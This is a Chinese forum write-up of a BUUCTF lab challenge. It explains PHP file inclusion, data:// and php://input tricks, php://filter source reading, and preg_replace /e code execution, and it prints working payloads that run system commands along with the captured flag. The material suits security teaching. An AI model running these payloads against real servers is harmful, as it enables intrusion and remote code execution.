登录后更精彩...O(∩_∩)O...
您需要 登录 才可以下载或查看,没有账号?立即注册
×
BUUCTF靶场39 -- [BJDCTF2020]ZJCTF,不过如此
[PHP] 纯文本查看 复制代码 <?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
代码审计:
进去就是一串PHP代码,代码功能是:用GET方法传入text和file两个参数的值 (file_get_contents函数代表将名字为text的文件以只读的方式打开,并且将文件内容读入到一个字符串中),如果读入的内容是I have a dream,则会输出该字符串内容并且正则表达式来匹配file参数传入的值,若匹配失败则直接GG
代码也很简单所以直接开始分析,分析完后我们知道以下几点
- 要想执行成功 text 必须存在且 ile_get_contents($text,‘r’) 内容必须为 I have a dream
- file=next.php
file_get_contents($text,‘r’) 这个函数的作用是从指定文件读取文件的内容并返回一个字符串,我们又不知道网站服务器上有没有这个文件且内容为 I have a dream,所以在网上找这个函数的一些漏洞,发现果然有漏洞 file_get_contents($text,‘r’) 的绕过:
- 使用php://input伪协议绕过
① 将要GET的参数?xxx=php://input
② 用post方法传入想要file_get_contents()函数返回的值 - 用data://伪协议绕过
将url改为:?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
或者将url改为:?xxx=data:text/plain,(url编码的内容)
走进 if 函数:
这里选择第一种方法:经过测试Hackbar这种方法走不通,服务器是PHP/5.6.40,而MaxHackBar和Burp确可以,原因Chrome版本的hackbar不携带非键值对的post数据,有请求无post数据;而firefox版本的hackbar提交非键值对的post数据时候拒绝访问,直接不产生请求。

可以看到我们已经走进了 if 但是这个页面显示的东西不清不楚的,对于 next.php 文件的内容我们也毫不知情,这搞个什么鬼

这个时候我们要用到伪协议data了,它可以传递文件内容也可以执行函数(函数一般要base64),这里我们传递文件内容就行了
text=data://text/plain,I have a dream;file变量的话很明显利用filter过滤器来读取next.php这个文件内容
php://filter/read=convert.base64-encode/resource=next.php
[PHP] 纯文本查看 复制代码 http://b002d812-e2ed-4608-b1d6-4f382ae831b0.node4.buuoj.cn:81/?text=data://text/plain,I%20have%20a%20dream&file=php://filter/read=convert.base64-encode/resource=next.php [PHP] 纯文本查看 复制代码 http://b002d812-e2ed-4608-b1d6-4f382ae831b0.node4.buuoj.cn:81/?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.php Post Data: I have a dream
[PHP] 纯文本查看 复制代码 <?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
进行一个简单的分析,目的是传入$cmd参数,然后eval执行从而拿到flag。那该如何利用呢,在php中如果直接传.* .会被替代成下划线所以换个元字符\S \S表示匹配非空格以外的所有字符,这样就能够匹配想要的命令执行函数了 对 $_GET as $re => $str 的理解: 这是一个动态赋值的过程,即会将get请求中的参数名作为键$re,参数对应的值作为键值$str 当中的 \1 实际上就是 \1 ,而 \1 在正则表达式中有自己的含义。 这里的 \1 实际上指定的是第一个子匹配项,我们拿 ripstech 官方给的 payload 进行分析,方便大家理解。 为什么要匹配到 {${phpinfo()}} 或者 ${phpinfo()} ,才能执行 phpinfo 函数,这是一个小坑。这实际上是 PHP可变变量的原因。在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。 ${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true) payload如下 [PHP] 纯文本查看 复制代码 ?\S*=${getFlag()}&cmd=system('cat /flag');
这个案例实际上很简单,就是 preg_replace 使用了 /e 模式,导致可以代码执行,而且该函数的第一个和第三个参数都是我们可以控制的。我们都知道, preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(也就是上图 preg_replace 函数的第二个参数)当做代码来执行,然而这里的第二个参数却固定为 'strtolower("\\1")' 字符串,那这样要如何执行代码呢?
爬坑1
可以看到cmd参数提醒我们要用命令行ls等来寻找flag,现在就是要怎么运行getFlag这个函数,因为之前我没有见过这种e模式的正则表达式,便查询一下是否有什么漏洞可以利用https://xz.aliyun.com/t/2557
 所以这里的 \1 实际上指定的是第一个子匹配项,我们拿 ripstech 官方给的 payload 进行分析,方便大家理解。官方 payload 为: /?.*={${phpinfo()}} ,即 GET 方式传入的参数名为 /?.* ,值为 {${phpinfo()}} 。 原先的语句: preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);变成了语句: preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});
爬坑2上面的 preg_replace 语句如果直接写在程序里面,当然可以成功执行 phpinfo() ,然而我们的 .* 是通过 GET 方式传入,你会发现无法执行 phpinfo 函数,如下图: 我们 var_dump 一下 $_GET 数组,会发现我们传上去的 .* 变成了 _* ,如下图所示: 这是由于在PHP中,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,这就导致我们正则匹配失效。我们可以 fuzz 一下PHP会将哪些符号替换成下划线,发现有:(这是非法字符不为首字母的情况) 当非法字符为首字母时,只有点号会被替换成下划线: 所以我们要做的就是换一个正则表达式,让其匹配到 {${phpinfo()}} 即可执行 phpinfo 函数。这里我提供一个 payload : \S*=${phpinfo()} 执行结果如下:
爬坑3下面再说说我们为什么要匹配到 {${phpinfo()}} 或者 ${phpinfo()} ,才能执行 phpinfo 函数,这是一个小坑。这实际上是 PHP可变变量 的原因。在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。 ${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true)。如果这个理解了,你就能明白下面这个问题: var_dump(phpinfo()); // 结果:布尔 truevar_dump(strtolower(phpinfo()));// 结果:字符串 '1'var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));// 结果:字符串'11'var_dump(preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}'));// 结果:空字符串''var_dump(preg_replace('/(.*)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}'));// 结果:空字符串''这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串
[PHP] 纯文本查看 复制代码 var_dump(phpinfo()); // 结果:布尔 true
var_dump(strtolower(phpinfo()));// 结果:字符串 '1'
var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));// 结果:字符串'11'
var_dump(preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}'));// 结果:空字符串''
var_dump(preg_replace('/(.*)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}'));// 结果:空字符串''
这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串
我的理解是:e模式下的preg_replace可以让第二个参数'替换字符串'当作代码执行,但是这里第二个参数是不可变的,但因为有这种特殊的情况,正则表达式模式或部分模式两边添加圆括号会将相关匹配存储到一个临时缓存区,并且从1开始排序,而strtolower("\1")正好表达的就是匹配区的第一个,从而我们如果匹配可以,则可以将函数实现。
\S*=${getFlag()}&cmd=system('ls');注意代码里面的id和session是骗人的,在正则里面是$_GET,因此不用id传参数;传入后正则会变为preg_replace('/('.\S*.')/ei','strtolower("\\1")',getFlag());存储临时缓存区:\S*==>getFlag();strtolower("\\1")匹配第一个,从而执行了getFlag()函数

记得是在next.php页面下传入参数噢!!!不然他给你include干嘛 
最后 cat /flag即可获得flag

[PHP] 纯文本查看 复制代码 /next.php?\S*=${getFlag()}&cmd=system(%27ls%27);
[Plain Text] 纯文本查看 复制代码
index.php
next.php
system('ls');
[PHP] 纯文本查看 复制代码 /next.php?\S*=${getFlag()}&cmd=system(%27ls%20/%27);
[Plain Text] 纯文本查看 复制代码
bin
dev
etc
flag
home
lib
media
mnt
proc
root
run
sbin
srv
sys
tmp
usr
var
system('ls /');
[AppleScript] 纯文本查看 复制代码 /next.php?\S*=${getFlag()}&cmd=system(%27cat%20/flag%27);
[Plain Text] 纯文本查看 复制代码 flag{e28f0ca5-6477-44b4-b2fe-be4c74e13486}
system('cat /flag');
referer:
1. https://blog.csdn.net/weixin_53150482/article/details/125772703
2. https://blog.csdn.net/qq_54929891/article/details/123315180
3. 深入研究preg_replace与代码执行: https://xz.aliyun.com/t/2557
4. https://github.com/hongriSec/PHP-Audit-Labs
|